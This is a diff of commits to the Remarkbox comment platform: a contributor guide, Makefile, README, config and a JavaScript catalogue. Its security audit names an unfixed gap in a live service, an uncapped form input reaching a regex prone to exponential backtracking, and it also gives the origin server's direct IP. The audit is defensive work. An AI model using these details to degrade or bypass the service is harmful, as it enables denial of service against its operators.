||||||
|
### Key rules
|
||||||
|
|
||||||
|
- **CNAME domains MUST have explicit blocks on our proxy.** Without a block,
|
||||||
|
they fall through to our MPS on-demand TLS catch-all and route to our wrong
|
||||||
|
backend. This caused a 5-day outage (see `docs/postmortem-2026-02-25-ssl-outage-caddy-acme.md`).
|
||||||
|
- **Our proxy owns TLS for proxied domains.** Our origin server does not need
|
||||||
|
(and cannot obtain) ACME certs for domains whose DNS points to our proxy.
|
||||||
|
- **Static sites (www, remarkbox.com) are served directly from our proxy.**
|
||||||
|
Their content lives at `/opt/www/remarkbox` on our proxy server, deployed
|
||||||
|
from `~/git/www.remarkbox.com` via CI.
|
||||||
|
- **origin.remarkbox.com bypasses our proxy.** Its DNS points directly to
|
||||||
|
162.243.167.224. Use it for SSH access and direct backend testing.
|
||||||
|
|
||||||
|
## Capability-Driven Presentation
|
||||||
|
|
||||||
|
Follow Russell Ballestrini's capability-driven presentation practice
|
||||||
|
(russell.ballestrini.net/capability-driven-presentation/). A page need not look
|
||||||
|
identical across all browsers. Accommodate what our user's browser can do:
|
||||||
|
|
||||||
|
1. **Single canonical URI** — one URI serves our content.
|
||||||
|
2. **Consistent content** — regardless of viewer capabilities.
|
||||||
|
3. **Graceful enhancement/degradation** — use available capabilities to enhance presentation.
|
||||||
|
|
||||||
|
### Our `js-only` / `<noscript>` pattern
|
||||||
|
|
||||||
|
Already implemented in `base.j2`:
|
||||||
|
|
||||||
|
```html
|
||||||
|
<noscript>
|
||||||
|
<style>.js-only {display: none;}</style>
|
||||||
|
</noscript>
|
||||||
|
```
|
||||||
|
|
||||||
|
Apply our `js-only` class to any element that requires JavaScript to function
|
||||||
|
(preview panels, AJAX submit buttons, typeahead UIs). When JS is unavailable,
|
||||||
|
these elements hide automatically — our user never sees a broken control.
|
||||||
|
|
||||||
|
### AJAX form submission
|
||||||
|
|
||||||
|
Comment reply forms use progressive enhancement: our form works as a normal
|
||||||
|
POST + redirect without JS. When JS is available, `initAjaxCommentForms()` in
|
||||||
|
`custom.js` intercepts our submit, sends via `fetch()` with
|
||||||
|
`X-Requested-With: XMLHttpRequest`, and inserts our new comment into our DOM
|
||||||
|
without a page reload. Our server returns JSON (HTTP 201) for AJAX requests
|
||||||
|
from verified/anonymous users, and falls back to our normal redirect flow for
|
||||||
|
unverified users or on any error.
|
||||||
|
|
||||||
|
## Themes
|
||||||
|
|
||||||
|
Remarkbox themes are separate pip packages loaded via `remarkbox.themes` entry points.
|
||||||
|
They live in their own repos and are installed from git at deploy time.
|
||||||
|
|
||||||
|
| Theme | Repo | Package |
|
||||||
|
|-------|------|---------|
|
||||||
|
| meta | `git.unturf.com/engineering/remarkbox/remarkbox-theme-meta` | `remarkbox_theme_meta` |
|
||||||
|
| westworld | `git.unturf.com/engineering/remarkbox/remarkbox-theme-westworld` | `remarkbox_westworld` |
|
||||||
|
|
||||||
|
**Local development**: Themes are editable installs (e.g. `/home/fox/git/remarkbox-theme-meta`).
|
||||||
|
Changes take effect immediately on our local dev server.
|
||||||
|
|
||||||
|
**Deploying theme changes**: Push our theme repo first, then push remarkbox to trigger
|
||||||
|
a CI/CD pipeline. Our pipeline runs `pip install` from our theme's git URI
|
||||||
|
(see `requirements.py3.txt`) and copies static assets (see `.gitlab-ci.yml`).
|
||||||
|
A remarkbox push is required even if only our theme changed — our theme is pulled
|
||||||
|
fresh during each remarkbox build.
|
||||||
|
|
||||||
|
**Theme structure**:
|
||||||
|
- `templates/{name}-base.j2` — main base template (extends nothing, standalone HTML)
|
||||||
|
- `templates/{name}-base-funnel.j2` — funnel pages (setup, login, billing)
|
||||||
|
- `static/theme/{name}/css/` — theme CSS
|
||||||
|
- `static/theme/{name}/img/` — theme images
|
||||||
|
|
||||||
|
**How themes are selected**: `request.theme` reads `namespace.theme` from our database.
|
||||||
|
When set, `request.base_template` becomes `{theme}-base.j2`. Our CSS and static assets
|
||||||
|
are served at `/static/theme/{name}/` via Pyramid's `add_static_view`.
|
||||||
|
|
||||||
|
## Related Repos
|
||||||
|
|
||||||
|
All repos live under `~/git/` on localhost. When making cross-repo changes (e.g. footer
|
||||||
|
CSS that lives in both our theme and www), update all affected repos and push each one.
|
||||||
|
|
||||||
|
| Repo | Path | Purpose |
|
||||||
|
|------|------|---------|
|
||||||
|
| `remarkbox` | `~/git/remarkbox` | Main app (this repo) |
|
||||||
|
| `remarkbox-theme-meta` | `~/git/remarkbox-theme-meta` | Meta theme (meta.remarkbox.com, faq.remarkbox.com) |
|
||||||
|
| `remarkbox-westworld` | `~/git/remarkbox-westworld` | Westworld theme |
|
||||||
|
| `www.remarkbox.com` | `~/git/www.remarkbox.com` | Marketing site (static HTML/CSS) |
|
||||||
|
| `remarkbox-open` | `~/git/remarkbox-open` | Open-source / community edition |
|
||||||
|
| `remarkbox-states` | `~/git/remarkbox-states` | SaltStack deployment states |
|
||||||
|
|
||||||
|
Our **footer** (`rb-footer`) is duplicated in our meta theme CSS and our www site CSS.
|
||||||
|
Changes to footer layout or styles must be applied in both places:
|
||||||
|
- `~/git/remarkbox-theme-meta/remarkbox_theme_meta/static/theme/meta/css/meta.css`
|
||||||
|
- `~/git/www.remarkbox.com/custom.css`
|
||||||
|
|
||||||
|
## Security: CWE-407 Algorithmic Complexity
|
||||||
|
|
||||||
|
**Audit completed 2026-03-30.** Known algorithmic complexity risks and their mitigations.
|
||||||
|
|
||||||
|
### Already fixed (committed c87fb0b)
|
||||||
|
|
||||||
|
| Surface | Root cause | Fix |
|
||||||
|
|---------|-----------|-----|
|
||||||
|
| `/search?keywords=` | Unbounded keyword count → O(k·n) full-table scans | Capped keywords to 10 in `list_nodes.py` |
|
||||||
|
| `?page=N` offset | Unbounded `OFFSET` → O(offset) full table scan | Capped page_number to 1000 in `__init__.py` |
|
||||||
|
| `/ns/{ns}/dump.json` | Unbounded `root.children` iteration | Added `.limit(500)` in `namespace.py` |
|
||||||
|
| Node keyword queries | Unbounded `.all()` per keyword | Added `.limit(200)` per query in `node.py` |
|
||||||
|
|
||||||
|
### bleach sanitization pipeline — mitigated at runtime, not at code level
|
||||||
|
|
||||||
|
**Attack surface**: `remarkbox/lib/sanitize_html.py:200` — `clean_raw_html()` uses
|
||||||
|
`bleach.Cleaner` + `LinkifyFilter`. Our URL regex `([\w-]+\.)+(?:tlds)` exhibits
|
||||||
|
O(2^N) catastrophic backtracking on adversarial input in Python < 3.11.
|
||||||
|
|
||||||
|
**Demonstrated** (external finding, same pattern): N=30 chars → 1.0s, N=35 → 12.8s.
|
||||||
|
That is textbook O(2^N): 10× per 5 chars.
|
||||||
|
|
||||||
|
**Python 3.12 status**: tested on Python 3.12.3 — O(N) behaviour confirmed (linear).
|
||||||
|
Our runtime's `re` module prevents catastrophic backtracking. **This is a runtime
|
||||||
|
mitigation, not a code-level fix.** A Python version downgrade re-exposes it.
|
||||||
|
|
||||||
|
**Input size gap**: Our API path (`remarkbox/api/views.py:38`) caps data at
|
||||||
|
`MAX_CONTENT_LENGTH = 500_000` chars before `set_data()` → `clean_raw_html()`.
|
||||||
|
Our browser form path (`reply_node.py`, `edit_node.py`) has **no equivalent cap**.
|
||||||
|
A future fix should add our same guard to both paths.
|
||||||
|
|
||||||
|
**Requirements pin**: `requirements.py3.txt` says `bleach>=2.1.4` — too loose.
|
||||||
|
bleach < 3.3.0 had unpatched ReDoS (CVE-2021-23980). Current install: 6.3.0.
|
||||||
|
Tighten to `bleach>=6.0.0` when next touching requirements.
|
||||||
|
|
||||||
|
### Build tools
|
||||||
|
|
||||||
|
| Package | Installed | Notes |
|
||||||
|
|---------|-----------|-------|
|
||||||
|
| setuptools | 80.10.1 | CVE-2022-40897 (ReDoS in `pkg_resources`) fixed in 65.5.1 — OK |
|
||||||
|
| pip | 25.3 | No known CWE-407 issues at this version |
|
||||||
|
|
||||||
|
**Deprecation risk**: pyramid imports `pkg_resources` (deprecated; removal targeted
|
||||||
|
2025-11-30 per setuptools). Pin `setuptools<81` or wait for pyramid to migrate.
|
||||||
|
This is a compatibility risk, not a security risk.
|
||||||
|
|
||||||
|
## Style
|
||||||
|
|
||||||
|
- Prefer "our" for shared things; "a" when something is one of many; avoid "the" — it implies fixed, singular ownership. Most teams and systems are fluid and ever-changing, like water.
|
||||||
|
- **Never use "AI" — always say "machine learning."** We grow machine learning, not "AI." This term is forbidden in all permacomputer discourse, marketing, & documentation.
|
||||||
|
|
||||||
|
## Prime Mission — Balance All Workstations
|
||||||
|
|
||||||
|
Every node is a workstation. Every edge is a queue. We flatten our friction manifold — but flattening one node without balancing what follows creates a new crisis.
|
||||||
|
|
||||||
|
**MOAD-0001 & MOAD-0005 are coupled.** Fix O(N²) at a high-throughput workstation and every downstream queue floods simultaneously. Solving one defect creates the other if we do not stage capacity first.
|
||||||
|
|
||||||
|
**3 drivers. 3 million people.** Fix the dispatch. Stage the drivers first.
|
||||||
|
|
||||||
|
- **Workaholic node** (high betweenness + high speedup): IS our bottleneck. Unblock without staging = collapse.
|
||||||
|
- **Glutton node** (high out-degree, low speedup): consumes everything, feels no pain — our machines that forget to halt.
|
||||||
|
- No patch disclosed without confirming downstream capacity matches our surge estimate (`speedup × in-degree`).
|
||||||
|
- Halt condition: patch live, no caretakers, downstream unresolved, speedup >= 100x = **baby crying**. Assign team first.
|
||||||
|
|
||||||
|
Full factory model & live DAG: `~/git/undefect.com/generate_dag.py`.
|
||||||
|
Shard source of truth: `~/git/unsandbox.com/blackops/BLACKOPS.md`.
|
||||||
|
|
||||||
|
### Eight Forms of Capital — Stewardship Check
|
||||||
|
|
||||||
|
Every feature, patch, & system decision touches at least one of our 8 capital queues (Roland & Landua, via unturf.com/eight-forms-of-capital/):
|
||||||
|
|
||||||
|
Living · Material · Financial · Intellectual · Experiential · Social · Cultural · Spiritual
|
||||||
|
|
||||||
|
Before shipping: does this drain a workaholic to feed a glutton? Does it route away from a food desert? Does it grow financial capital at the expense of living capital? If yes — stop. If it regenerates experiential capital, strengthens social trust, or contributes open intellectual capital — ship it.
|
||||||
|
|
||||||
|
Platform tax = O(N²) friction in our exchange layer. Our infrastructure does not extract rent from workaholics to feed gluttons. That is our obligation as permacomputer stewards. Full ledger: `~/git/unsandbox.com/blackops/BLACKOPS.md`.
|
||||||
|
|
@ -1,2 +1,3 @@
|
||||||
include *.txt *.ini *.cfg *.rst
|
include *.txt *.ini *.cfg *.rst
|
||||||
recursive-include remarkbox *.ico *.png *.css *.gif *.jpg *.pt *.txt *.mak *.mako *.js *.html *.xml *.j2 *.map
|
recursive-include remarkbox *.ico *.png *.css *.gif *.jpg *.pt *.txt *.mak *.mako *.js *.html *.xml *.j2 *.map
|
||||||
|
prune remarkbox/tests
|
||||||
|
|
|
||||||
80
Makefile
|
|
@ -23,6 +23,8 @@ all: install-from-pypi serve
|
||||||
$(VENV_DIR)/bin/activate:
|
$(VENV_DIR)/bin/activate:
|
||||||
@echo "Creating virtual environment in $(VENV_DIR)..."
|
@echo "Creating virtual environment in $(VENV_DIR)..."
|
||||||
python3 -m venv $(VENV_DIR)
|
python3 -m venv $(VENV_DIR)
|
||||||
|
@echo "Installing setuptools (required by Pyramid, not bundled in Python 3.12+ venvs)..."
|
||||||
|
$(PIP) install 'setuptools<81'
|
||||||
|
|
||||||
venv: $(VENV_DIR)/bin/activate
|
venv: $(VENV_DIR)/bin/activate
|
||||||
|
|
||||||
|
|
@ -63,17 +65,34 @@ install: install-core install-dev install-themes
|
||||||
|
|
||||||
# Install remarkbox from source (editable mode) plus dev, test, and themes
|
# Install remarkbox from source (editable mode) plus dev, test, and themes
|
||||||
install-source-dev-and-test: venv install-themes
|
install-source-dev-and-test: venv install-themes
|
||||||
|
@echo "Ensuring setuptools is installed (required by Pyramid on Python 3.12+)..."
|
||||||
|
$(PIP) install 'setuptools<81'
|
||||||
@echo "Installing remarkbox from source (editable mode)..."
|
@echo "Installing remarkbox from source (editable mode)..."
|
||||||
$(PIP) install --editable .
|
$(PIP) install --editable .
|
||||||
$(PIP) install --upgrade -r requirements-dev.txt
|
$(PIP) install --upgrade -r requirements-dev.txt
|
||||||
$(PIP) install --upgrade -r requirements-test.txt
|
$(PIP) install --upgrade -r requirements-test.txt
|
||||||
cp -rp $(VENV_DIR) $(VENV_DIR).vanilla
|
|
||||||
|
|
||||||
|
# Supply-chain: external PyPI deps install from requirements-prod.lock (exact
|
||||||
|
# versions + SHA256, --require-hashes). First-party git themes are not hashable;
|
||||||
|
# 'pip install .' resolves them (SHA-pinned by their own repos) without
|
||||||
|
# re-resolving the already-satisfied, hash-pinned PyPI deps. Regenerate the lock
|
||||||
|
# with: make pins-lock
|
||||||
install-source-prod: venv install-themes
|
install-source-prod: venv install-themes
|
||||||
@echo "Installing remarkbox from source (editable mode)..."
|
@echo "Ensuring setuptools is installed (required by Pyramid on Python 3.12+)..."
|
||||||
|
$(PIP) install 'setuptools<81'
|
||||||
|
@echo "Deleting tests from source code for production..."
|
||||||
|
rm -rf remarkbox/tests
|
||||||
|
@echo "Installing pinned, hash-verified PyPI dependencies (supply-chain)..."
|
||||||
|
$(PIP) install --require-hashes -r requirements-prod.lock
|
||||||
|
@echo "Installing remarkbox from source; first-party git themes resolve here..."
|
||||||
$(PIP) install .
|
$(PIP) install .
|
||||||
$(PIP) install --upgrade -r requirements-prod.txt
|
|
||||||
cp -rp $(VENV_DIR) $(VENV_DIR).vanilla
|
# Regenerate requirements-prod.lock from requirements-prod.in (latest compatible),
|
||||||
|
# then strip the unhashable first-party git theme deps.
|
||||||
|
pins-lock:
|
||||||
|
uv pip compile --generate-hashes --upgrade --python-version 3.12 \
|
||||||
|
-o requirements-prod.lock requirements-prod.in
|
||||||
|
python3 scripts/strip-vcs-from-lock.py requirements-prod.lock
|
||||||
|
|
||||||
|
|
||||||
# -----------------------------------------------------------------------------
|
# -----------------------------------------------------------------------------
|
||||||
|
|
@ -86,6 +105,23 @@ init-db: venv config
|
||||||
$(RB_INIT) $(DATA_DIR)/$(CONFIG_FILE)
|
$(RB_INIT) $(DATA_DIR)/$(CONFIG_FILE)
|
||||||
$(ALEMBIC) -c $(DATA_DIR)/$(CONFIG_FILE) stamp head
|
$(ALEMBIC) -c $(DATA_DIR)/$(CONFIG_FILE) stamp head
|
||||||
|
|
||||||
|
# Create a new Alembic migration with a proper auto-generated revision ID.
|
||||||
|
# Usage: make migration m="description of change"
|
||||||
|
# Autogenerate compares current models against DB schema and writes the diff.
|
||||||
|
# ALWAYS use this — NEVER hand-write revision IDs.
|
||||||
|
migration: venv config
|
||||||
|
@if [ -z "$(m)" ]; then echo "ERROR: provide a message: make migration m=\"add foo column\""; exit 1; fi
|
||||||
|
$(ALEMBIC) -c $(DATA_DIR)/$(CONFIG_FILE) revision --autogenerate -m "$(m)"
|
||||||
|
|
||||||
|
# Apply all pending Alembic migrations.
|
||||||
|
migrate: venv config
|
||||||
|
$(ALEMBIC) -c $(DATA_DIR)/$(CONFIG_FILE) upgrade head
|
||||||
|
|
||||||
|
# Show current migration status.
|
||||||
|
migration-status: venv config
|
||||||
|
$(ALEMBIC) -c $(DATA_DIR)/$(CONFIG_FILE) current
|
||||||
|
$(ALEMBIC) -c $(DATA_DIR)/$(CONFIG_FILE) history --verbose
|
||||||
|
|
||||||
# Start the development server with auto-reload
|
# Start the development server with auto-reload
|
||||||
serve: venv config
|
serve: venv config
|
||||||
@echo "Starting the remarkbox development server..."
|
@echo "Starting the remarkbox development server..."
|
||||||
|
|
@ -113,17 +149,45 @@ activate:
|
||||||
@echo "To activate the virtual environment, run:"
|
@echo "To activate the virtual environment, run:"
|
||||||
@echo " source $(VENV_DIR)/bin/activate"
|
@echo " source $(VENV_DIR)/bin/activate"
|
||||||
|
|
||||||
# Run the test suite (installs test dependencies if needed)
|
# Run the test suite (installs test dependencies if needed).
|
||||||
# Run the test suite (installs test dependencies if needed)
|
# --dist=loadgroup pins tests sharing an xdist_group marker to a single
|
||||||
|
# worker — used by test_pandoc.py to serialize ~14 pandoc subprocesses
|
||||||
|
# that would otherwise race cold-start CPU contention on CI and exceed
|
||||||
|
# the 5s/30s subprocess timeouts.
|
||||||
test: install-source-dev-and-test
|
test: install-source-dev-and-test
|
||||||
@echo "Running tests..."
|
@echo "Running tests in parallel..."
|
||||||
$(VENV_DIR)/bin/py.test
|
$(VENV_DIR)/bin/py.test -n auto --dist=loadgroup
|
||||||
|
|
||||||
# Start a simple HTTP server (for serving static files like index.html)
|
# Start a simple HTTP server (for serving static files like index.html)
|
||||||
http: venv
|
http: venv
|
||||||
@echo "Starting simple HTTP server on port 8000..."
|
@echo "Starting simple HTTP server on port 8000..."
|
||||||
$(PYTHON) -m http.server 8000
|
$(PYTHON) -m http.server 8000
|
||||||
|
|
||||||
|
# -----------------------------------------------------------------------------
|
||||||
|
# Twine Upload Target (uses /tmp venv to avoid system python)
|
||||||
|
# -----------------------------------------------------------------------------
|
||||||
|
|
||||||
|
TWINE_VENV = /tmp/twine-venv
|
||||||
|
TWINE = $(TWINE_VENV)/bin/twine
|
||||||
|
|
||||||
|
$(TWINE_VENV)/bin/twine:
|
||||||
|
@echo "Creating twine virtualenv in $(TWINE_VENV)..."
|
||||||
|
python3 -m venv $(TWINE_VENV)
|
||||||
|
# Pin twine <6 — newer twine auto-detects GitLab CI and refuses to
|
||||||
|
# fall back to ~/.pypirc on the runner, requiring PYPI_ID_TOKEN
|
||||||
|
# (Trusted Publishing OIDC). Until we migrate to Trusted Publishing,
|
||||||
|
# stick with classic ~/.pypirc auth on the build runner.
|
||||||
|
$(TWINE_VENV)/bin/pip install --upgrade pip
|
||||||
|
$(TWINE_VENV)/bin/pip install "twine<6"
|
||||||
|
|
||||||
|
twine-venv: $(TWINE_VENV)/bin/twine
|
||||||
|
|
||||||
|
twine-upload: twine-venv
|
||||||
|
@echo "Building and uploading to PyPI..."
|
||||||
|
python3 setup.py sdist bdist_wheel
|
||||||
|
$(TWINE) check dist/*
|
||||||
|
$(TWINE) upload --non-interactive dist/*
|
||||||
|
|
||||||
# -----------------------------------------------------------------------------
|
# -----------------------------------------------------------------------------
|
||||||
# Cleanup Target
|
# Cleanup Target
|
||||||
# -----------------------------------------------------------------------------
|
# -----------------------------------------------------------------------------
|
||||||
|
|
|
||||||
21
README.rst
|
|
@ -45,6 +45,7 @@ This ``Makefile`` based workflow lets you choose between installing Remarkbox fr
|
||||||
|
|
||||||
Once the virtual environment is active, run::
|
Once the virtual environment is active, run::
|
||||||
|
|
||||||
|
source vars.sh
|
||||||
make serve
|
make serve
|
||||||
|
|
||||||
Other commands—such as ``make test``, and ``make http`` operate within this environment.
|
Other commands—such as ``make test``, and ``make http`` operate within this environment.
|
||||||
|
|
@ -71,6 +72,14 @@ What is Remarkbox?
|
||||||
------------------
|
------------------
|
||||||
Remarkbox is a standalone question and answer site (forum) or an embedded comments/product reviews service that works anywhere HTML is supported.
|
Remarkbox is a standalone question and answer site (forum) or an embedded comments/product reviews service that works anywhere HTML is supported.
|
||||||
|
|
||||||
|
Features
|
||||||
|
--------
|
||||||
|
- **Dark Mode Support:** User-configurable theme preferences with automatic theme detection for embedded contexts
|
||||||
|
- **Passwordless Authentication:** One-time-password codes via email for secure registration and login
|
||||||
|
- **Multi-tenant Architecture:** Host multiple forums and comment systems on a single installation
|
||||||
|
- **Customizable Themes:** Plugin-based theme system supporting custom branding and styling
|
||||||
|
- **Embed Anywhere:** Works with static sites, WordPress, or any platform that supports HTML
|
||||||
|
|
||||||
Project Goals
|
Project Goals
|
||||||
==============================================
|
==============================================
|
||||||
|
|
||||||
|
|
@ -164,9 +173,9 @@ To list paying customers, execute:
|
||||||
|
|
||||||
.. code-block:: sql
|
.. code-block:: sql
|
||||||
|
|
||||||
SELECT * FROM rb_pay_what_you_can
|
SELECT * FROM rb_payment
|
||||||
INNER JOIN rb_user ON rb_user.id = rb_pay_what_you_can.user_id
|
INNER JOIN rb_user ON rb_user.id = rb_payment.user_id
|
||||||
WHERE amount > 0 AND rb_user.stripe_id IS NOT NULL;
|
WHERE status = 'completed';
|
||||||
|
|
||||||
Python Pyramid Shell
|
Python Pyramid Shell
|
||||||
==============================================
|
==============================================
|
||||||
|
|
@ -215,5 +224,11 @@ Licence
|
||||||
|
|
||||||
All contributed code is placed in the public domain.
|
All contributed code is placed in the public domain.
|
||||||
|
|
||||||
|
source code: `https://git.unturf.com/engineering/remarkbox/remarkbox <https://git.unturf.com/engineering/remarkbox/remarkbox>`_
|
||||||
|
|
||||||
|
Remarkbox is trademarked, do not misrepresent the brand.
|
||||||
|
|
||||||
|
Feel free to white label any code or themes into your own brand.
|
||||||
|
|
||||||
**Original Developer:**
|
**Original Developer:**
|
||||||
`Russell Ballestrini <https://russell.ballestrini.net>`_
|
`Russell Ballestrini <https://russell.ballestrini.net>`_
|
||||||
|
|
|
||||||
|
|
@ -2,8 +2,8 @@
|
||||||
# http://docs.pylonsproject.org/projects/pyramid/en/latest/narr/environment.html
|
# http://docs.pylonsproject.org/projects/pyramid/en/latest/narr/environment.html
|
||||||
|
|
||||||
[alembic]
|
[alembic]
|
||||||
script_location = remarkbox:scripts/alembic
|
script_location = remarkbox/scripts/alembic
|
||||||
sqlalchemy.url = sqlite:///%(here)s/remarkbox.sqlite
|
sqlalchemy.url = sqlite:///%(here)s/data/remarkbox.sqlite
|
||||||
|
|
||||||
[app:main]
|
[app:main]
|
||||||
use = egg:remarkbox
|
use = egg:remarkbox
|
||||||
|
|
@ -39,6 +39,27 @@ session.reissue_time = 15552000
|
||||||
session.samesite = none
|
session.samesite = none
|
||||||
session.secure = False
|
session.secure = False
|
||||||
|
|
||||||
|
###
|
||||||
|
# API configuration.
|
||||||
|
###
|
||||||
|
api.enabled = true
|
||||||
|
api.rate_limit.read_requests = 120
|
||||||
|
api.rate_limit.write_requests = 30
|
||||||
|
api.rate_limit.window = 60
|
||||||
|
api.rate_limit.create_thread_requests = 1
|
||||||
|
api.rate_limit.create_thread_window = 420
|
||||||
|
|
||||||
|
###
|
||||||
|
# spam detection.
|
||||||
|
###
|
||||||
|
spam.enabled = true
|
||||||
|
spam.hard_threshold = 0.8
|
||||||
|
spam.soft_threshold = 0.5
|
||||||
|
spam.llm.enabled = true
|
||||||
|
spam.llm.endpoint = https://hermes.ai.unturf.com/v1/chat/completions
|
||||||
|
spam.llm.model = adamo1139/Hermes-3-Llama-3.1-8B-FP8-Dynamic
|
||||||
|
spam.llm.timeout = 5
|
||||||
|
|
||||||
###
|
###
|
||||||
# custom app configuration.
|
# custom app configuration.
|
||||||
###
|
###
|
||||||
|
|
@ -89,10 +110,11 @@ app.theme = meta
|
||||||
# choices enabled or disabled. defaults to disabled.
|
# choices enabled or disabled. defaults to disabled.
|
||||||
#app.stand_alone_mode = disabled
|
#app.stand_alone_mode = disabled
|
||||||
|
|
||||||
# stripe: credit card storage and processing.
|
# stripe: Stripe Checkout payment processing.
|
||||||
# This syntax will automatically expand an ENV var of the same name.
|
# This syntax will automatically expand an ENV var of the same name.
|
||||||
app.stripe.secret = ${REMARKBOX_APP_STRIPE_SECRET}
|
app.stripe.secret = ${REMARKBOX_APP_STRIPE_SECRET}
|
||||||
app.stripe.public = ${REMARKBOX_APP_STRIPE_PUBLIC}
|
app.stripe.public = ${REMARKBOX_APP_STRIPE_PUBLIC}
|
||||||
|
app.stripe.webhook_secret = ${REMARKBOX_APP_STRIPE_WEBHOOK_SECRET:-}
|
||||||
|
|
||||||
# slack: bot notifications.
|
# slack: bot notifications.
|
||||||
app.slack.secret = ${REMARKBOX_APP_SLACK_SECRET}
|
app.slack.secret = ${REMARKBOX_APP_SLACK_SECRET}
|
||||||
|
|
|
||||||
205
docs/JAVASCRIPT.rst
Normal file
|
|
@ -0,0 +1,205 @@
|
||||||
|
JavaScript Usage in Remarkbox
|
||||||
|
=============================
|
||||||
|
|
||||||
|
This document catalogs all JavaScript usage in the Remarkbox codebase.
|
||||||
|
|
||||||
|
Standalone JavaScript Files
|
||||||
|
---------------------------
|
||||||
|
|
||||||
|
remarkbox/static/js/custom.js
|
||||||
|
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||||||
|
|
||||||
|
Main application JavaScript containing core functionality. No external
|
||||||
|
dependencies (jQuery was removed).
|
||||||
|
|
||||||
|
**previewAjax()** (Lines 5-20)
|
||||||
|
Debounced preview function with 800ms timer. Escapes HTML in raw mode
|
||||||
|
to prevent XSS, then calls sendPreview().
|
||||||
|
|
||||||
|
**sendPreview()** (Lines 22-41)
|
||||||
|
Fetch request to ``/preview-post`` endpoint for Markdown rendering.
|
||||||
|
Includes ``X-Requested-With: XMLHttpRequest`` header required by server.
|
||||||
|
Optionally triggers MathJax re-rendering.
|
||||||
|
|
||||||
|
**toggle()** (Lines 43-66)
|
||||||
|
CSS-based toggle animation. Adds/removes ``toggle-open`` and
|
||||||
|
``toggle-closing`` classes. Updates button text after 800ms animation.
|
||||||
|
Triggers textarea auto-grow on open if content exists.
|
||||||
|
|
||||||
|
**Details close animation** (Lines 68-83)
|
||||||
|
Event listener for ``.preview-toggle`` clicks. Animates ``<details>``
|
||||||
|
element closure over 800ms using ``closing`` class.
|
||||||
|
|
||||||
|
**autoGrow()** (Lines 85-89)
|
||||||
|
Auto-grows textarea height based on content, capped at 400px.
|
||||||
|
|
||||||
|
**Document ready handler** (Lines 91-130)
|
||||||
|
- Binds input handlers for textarea auto-grow
|
||||||
|
- Binds vote-up/vote-down button click handlers
|
||||||
|
- Fades in alert elements over 2 seconds
|
||||||
|
- Highlights URL fragment targets with ``focused`` class
|
||||||
|
|
||||||
|
**sendVote()** (Lines 132-151)
|
||||||
|
Fetch request to ``/vote-post`` endpoint. Updates vote count on success.
|
||||||
|
|
||||||
|
remarkbox/static/js/iframe-resizer/
|
||||||
|
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||||||
|
|
||||||
|
External library for responsive iframe sizing in embed mode.
|
||||||
|
|
||||||
|
- ``iframeResizer.min.js`` - Main resizer script
|
||||||
|
- ``iframeResizer.contentWindow.min.js`` - Content window script
|
||||||
|
|
||||||
|
|
||||||
|
Inline JavaScript in Templates
|
||||||
|
------------------------------
|
||||||
|
|
||||||
|
Form Submission Protection
|
||||||
|
~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||||||
|
|
||||||
|
Pattern: ``onsubmit="submit.disabled = true; return true;"``
|
||||||
|
|
||||||
|
Disables submit button to prevent double submission. Used in:
|
||||||
|
|
||||||
|
- ``snippets/forms.j2`` - Reply, edit, pay-what-you-can forms
|
||||||
|
- ``snippets/create.j2`` - Thread creation form
|
||||||
|
- ``snippets/snippets.j2`` - Watch, unwatch, lock, unlock, disable, enable, verify, approve, deny forms
|
||||||
|
- ``snippets/search.j2`` - Search form
|
||||||
|
- ``join-or-log-in.j2`` - Login form
|
||||||
|
- ``setup-namespace.j2`` - Namespace setup/cancel forms
|
||||||
|
- ``namespace-settings.j2`` - Settings forms
|
||||||
|
- ``user-settings.j2`` - User settings form
|
||||||
|
- ``user-watching.j2`` - Watching management form
|
||||||
|
|
||||||
|
Live Markdown Preview
|
||||||
|
~~~~~~~~~~~~~~~~~~~~~
|
||||||
|
|
||||||
|
Pattern: ``onkeyup="previewAjax(...)"``
|
||||||
|
|
||||||
|
Triggers debounced Markdown preview on textarea input.
|
||||||
|
|
||||||
|
**snippets/forms.j2** (Line 21)
|
||||||
|
Reply textarea with raw preview::
|
||||||
|
|
||||||
|
previewAjax('textarea-{{ node.id }}', 'preview-{{ node.id }}', true, {{ request.mathjax }})
|
||||||
|
|
||||||
|
**snippets/forms.j2** (Line 63)
|
||||||
|
Edit textarea without raw preview::
|
||||||
|
|
||||||
|
previewAjax('edit-textarea-{{ node.id }}', 'node-data-{{ node.id }}', false, {{ request.mathjax }})
|
||||||
|
|
||||||
|
**snippets/create.j2** (Line 14)
|
||||||
|
Thread creation textarea::
|
||||||
|
|
||||||
|
previewAjax('thread_data_textarea', 'preview', true, {{ request.mathjax }})
|
||||||
|
|
||||||
|
Toggle Functionality
|
||||||
|
~~~~~~~~~~~~~~~~~~~~
|
||||||
|
|
||||||
|
**base.j2** (Line 38)
|
||||||
|
Namespace switcher menu::
|
||||||
|
|
||||||
|
onclick="toggle('my-namespaces-div', 'my-namespaces-link', '(switch)', '(switch)'); return false;"
|
||||||
|
|
||||||
|
**snippets/snippets.j2** (Line 88)
|
||||||
|
Remark button - shows reply form and focuses textarea::
|
||||||
|
|
||||||
|
onclick="toggle('remark-box-{{ node.id }}', 'remark-link-{{ node.id }}', 'remark', 'hide'); document.getElementById('textarea-{{ node.id }}').focus(); return false;"
|
||||||
|
|
||||||
|
**snippets/snippets.j2** (Line 103)
|
||||||
|
Collapse button - hides/shows child nodes::
|
||||||
|
|
||||||
|
onclick="toggle('node-children-{{ node.id }}', 'collapse-link-{{ node.id }}', 'expand [+]', 'collapse [-]');"
|
||||||
|
|
||||||
|
**snippets/snippets.j2** (Line 214)
|
||||||
|
Edit button - shows edit form and focuses textarea::
|
||||||
|
|
||||||
|
onclick="toggle('edit-box-{{ node.id }}', 'edit-link-{{ node.id }}', 'edit', 'hide'); document.getElementById('edit-textarea-{{ node.id }}').focus(); return false;"
|
||||||
|
|
||||||
|
Alert Dismissal
|
||||||
|
~~~~~~~~~~~~~~~
|
||||||
|
|
||||||
|
**snippets/flash-alerts.j2** (Line 4)
|
||||||
|
Click to dismiss alert::
|
||||||
|
|
||||||
|
onclick="this.style.display='none'"
|
||||||
|
|
||||||
|
Theme Preview
|
||||||
|
~~~~~~~~~~~~~
|
||||||
|
|
||||||
|
**user-settings.j2** (Lines 56-60)
|
||||||
|
Radio buttons for theme mode::
|
||||||
|
|
||||||
|
onchange="previewTheme(this.value)"
|
||||||
|
|
||||||
|
